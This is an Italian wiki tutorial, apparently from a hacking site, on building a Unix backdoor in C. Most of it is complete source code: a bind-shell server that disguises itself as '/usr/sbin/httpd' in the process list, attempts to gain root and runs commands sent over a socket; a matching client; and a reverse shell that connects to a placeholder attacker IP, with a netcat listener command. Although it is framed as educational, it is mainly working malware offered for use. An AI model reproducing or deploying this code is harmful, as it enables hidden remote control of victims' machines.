Creazione di una backdoor
Da Hacknowledge.
Indice |
[modifica] Prerequisiti per questo tutorial
- Buona conoscenza del C
- Minima conoscenza della shell Unix
- Programmazione TCP/IP in ambiente Unix
[modifica] Backdoor
Al giorno d'oggi esistono molti tipi di backdoor. Quelle più avanzate sfruttano vulnerabilità a livello del kernel o dei servizi in esecuzione su un host. Altre invece sfruttano tecniche ancora più avanzate, come il packet sniffing con le librerie PCAP. In questo tutorial invece illustrerò come creare una backdoor molto essenziale (e, se il sistema vittima è configurato per bene, nemmeno molto efficace), giusto per capire un po' come funzionano i meccanismi di quest'arte.
Una backdoor (lett. “porta sul retro”) altro non è che una porta aperta su un host in grado di accettare certi tipi di richieste e, se programmata per bene, in grado di fornire a un attaccante remoto una shell, nel migliore dei casi una shell di root. Per creare una backdoor devo quindi creare due listati: uno per il “server” (la macchina sulla quale verrà eseguita la backdoor) e uno per il “client” (la macchina che si collegherà all'host vittima attraverso la backdoor).
[modifica] Lista della spesa
Partiamo dal server. Ecco uno schema di ciò che deve fare il nostro server:
- Mascherare la backdoor
- Aumentare i privilegi dell'utente remoto
- Inizializzare l'IP del server e il socket per le comunicazioni con l'esterno, in modo da accettare le connessioni dal nostro client su una determinata porta
- Leggere un comando inviato dal nostro client attraverso il socket creato
- Eseguire il comando e redirigere il suo output direttamente sul nostro monitor, in modo che l'utente del sistema non veda sul monitor comandi indesiderati
- Ripetere la procedura finché il client non chiude la connessione
[modifica] Mascherare l'eseguibile
La prima cosa che vogliamo fare sull'host vittima è evitare che un utente “legittimo” scopra di avere una backdoor installata sul suo sistema guardando i processi attivi con un semplice `ps` e poi, se possibile, innalzare i nostri privilegi fino a quelli di root (ovviamente se il bit SUID è attivo sull'eseguibile):
strcpy(argv[0],"/usr/sbin/httpd"); setuid(0); setgid(0);
In questo modo sovrascrivo al nome del programma, ad esempio, il server Apache, in modo da ingannare l'utente che va a vedere i processi attivi, quindi provo, se possibile, a ottenere i privilegi di root.
[modifica] Creazione della connessione
Ora inizializzo l'indirizzo del server:
# define PORT 4000 struct sockaddr_in server,client; ... addr_init(&server, PORT, INADDR_ANY);
Dove addr_init è una funzione così definita:
void addr_init(struct sockaddr_in *addr, int port, long ip) { addr->sin_family = AF_INET; addr->sin_port = htons(port); addr->sin_addr.s_addr = ip; }
che inizializza l'IP del server. Ora sfruttando il protocollo TCP apro un socket:
int sd; ... if ((sd = socket(AF_INET, SOCK_STREAM, 0))==-1) exit(1);
E associo questo socket al mio server attraverso una bind:
int sin_len = sizeof(struct sockaddr_in); ... if ( (bind(sd, (struct sockaddr*) &server, sin_len)) == -1) exit(1);
Infine, pongo il socket in ascolto per richieste di connessione:
#define MAX_CONN 3 ... if ( (listen(sd,MAX_CONN)) == -1) exit(1);
Quindi accetto le connessioni in ingresso sul socket su un nuovo socket che creo tra il server e il nuovo client:
int new_sd; if ( (new_sd = accept(sd, (struct sockaddr*) &client, &sin_len)) == -1) exit(1);
Insomma, la solita routine per inizializzare un server.
[modifica] Redirezione di stdout e stderr
Ovviamente una buona backdoor non lascia traccia dei comandi lasciati sul server, e allo stesso tempo noi vorremo vedere l'output dei nostri comandi. Per fare ciò, chiudiamo sul server stdout ed stderr, e facciamo in modo che stdout ed stderr vengano re-direzionati sul nostro socket, in modo da essere inviati al client. Per fare ciò useremo close() e dup():
close(1); dup(new_sd); close(2); dup(new_sd);
[modifica] Esecuzione del comando
Ora ci interessa fare un ciclo in cui il server legge dal socket il comando da eseguire, inviato dal client, e lo esegue. L'output del comando andrà a questo punto a finire direttamente sul socket per la comunicazione tra i due processi, quindi verrà letto senza problemi dal nostro client:
// Buffer che conterrà il comando inviato dal client char cmd[BUFSIZ]; while(1) { read(new_sd, cmd, BUFSIZ); system(cmd); }
[modifica] Lato client
Ecco il codice lato client:
#include "backdoor.h" main(int argc, char **argv) { int i,sd; char cmd[BUFSIZ],buff[BUFSIZ]; struct sockaddr_in client,server; if (argc!=2) { fprintf (stderr, "Please give me a valid host to connect\n"); exit(1); } // Procedura di connessione addr_init( &server, PORT, inet_addr(argv[1]) ); if ( (sd=socket(AF_INET, SOCK_STREAM, 0)) < 0 ) return -1; if ( connect( sd, (struct sockaddr*) &server, sizeof(struct sockaddr)) < 0 ) { close(sd); return -1; } // Ciclo di lettura comandi while(1) { printf ("\nmy-sh3ll-prompt# "); fgets(cmd, BUFSIZ, stdin); cmd[strlen(cmd)-1] = '\0'; // Se l'utente ha digitato 'exit' o 'quit', esco if (!strcmp(cmd, "exit") || !strcmp(cmd, "quit")) break; // Scrivo il comando su socket e azzero il mio buffer di lettura write(sd, cmd, sizeof(cmd)); memset(buff, 0x0, BUFSIZ); // Finché ci sono informazioni sul socket... while(read(sd,buff,BUFSIZ)>0) { // Stampo a schermo l'output del comando inviato al server printf ("%s",buff); } } close(sd); }
[modifica] Server
Questo è il codice corrispondente del server:
#include "backdoor.h" main(int argc, char **argv) { int sd, new_sd, status; char cmd[BUFSIZ]; struct sockaddr_in server, client; // Maschero il nome del processo in modo da celarlo a occhi indiscreti nella lista dei processi strcpy(argv[0], "/usr/sbin/httpd"); // Se possibile, setto i privilegi di root setuid(0); setgid(0); // Creo la connessione addr_init(&server, PORT, INADDR_ANY); if ( (sd=init_server(server)) < 0 ) exit(1); if ( (new_sd=get_client(sd, client)) < 0 ) exit(2); // Faccio la re-direzione di stdout e stderr close(1); dup(new_sd); close(2); dup(new_sd); // Ciclo di lettura ed esecuzione while(1) { // Leggo il comando inviato dal client e lo eseguo read(new_sd, cmd, BUFSIZ); system(cmd); } close(new_sd); close(sd); }
E questo il mio file di header:
/* backdoor.h */ #ifndef MY_SOCK_H #define MY_SOCK_H #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #define PORT 4000 #define STATE_LEN 3 void addr_init(struct sockaddr_in *addr, int port, long ip) { addr->sin_family = AF_INET; addr->sin_port = htons(port); addr->sin_addr.s_addr = ip; } #endif
[modifica] Reverse shell
L'esempio di backdoor visto sopra è perfettamente funzionante, ma ha un punto debole. Apre una porta su un sistema remoto a cui l'host attaccante si deve collegare. Se l'host remoto è dietro router o firewall o in qualche modo impedisce connessioni in ascolto su quella porta, la connessione non andrà mai a buon fine. Lo schema sarebbe il seguente:
+----------+ /==========\ +-------------+ | Attacker | ---->x| Firewall | | Host remoto | +----------+ \==========/ +-------------+
In questi casi, torna comoda una reverse shell. Attraverso una reverse shell non è l'host remoto ad aprire una porta su cui accettare connessioni e comandi, ma noi che apriamo una porta sul nostro host mettendoci in ascolto. La porta può essere aperta attraverso l'irrinunciabile netcat ad esempio:
nc -vv -l -p 4000
L'host remoto si collegherà a noi, bypassando eventuali limitazioni di firewall per quanto riguarda le connessioni in listen quindi, si metterà in attesa di un comando da eseguire, noi lo invieremo e lui eseguirà il comando re-inviandoci l'output. Lo schema sarebbe
[invio comandi]
|----------------------------------|
V
+----------+ /==========\ +-------------+
| Attacker | | Firewall | | Host remoto |
+----------+ \==========/ +-------------+
^
|----------------------------------|
[connessione e output comandi]
Ecco una potenziale reverse shell da eseguire sull'host remoto:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <netinet/in.h> #include <sys/socket.h> #define PORT 4000 #define SERVER "IP_attacker" void addr_init (struct sockaddr_in *addr, int port, long int ip) { addr->sin_family=AF_INET; addr->sin_port = htons ((u_short) port); addr->sin_addr.s_addr=ip; } main(int argc, char **argv) { int sd; int sock_size=sizeof(struct sockaddr_in); struct sockaddr_in server,client; char cmd[BUFSIZ]; addr_init (&server,PORT,inet_addr(SERVER)); if ((sd=socket(AF_INET,SOCK_STREAM,0))<0) exit(3); if (connect(sd, (struct sockaddr*) &server, sock_size)<0) exit(4); close(0); close(1); close(2); dup(sd); dup(sd); dup(sd); while (1) { memset (cmd,0,sizeof(cmd)); if (recv(sd,cmd,sizeof(cmd),0)<0) exit(5); system(cmd); } close(sd); exit(0); }

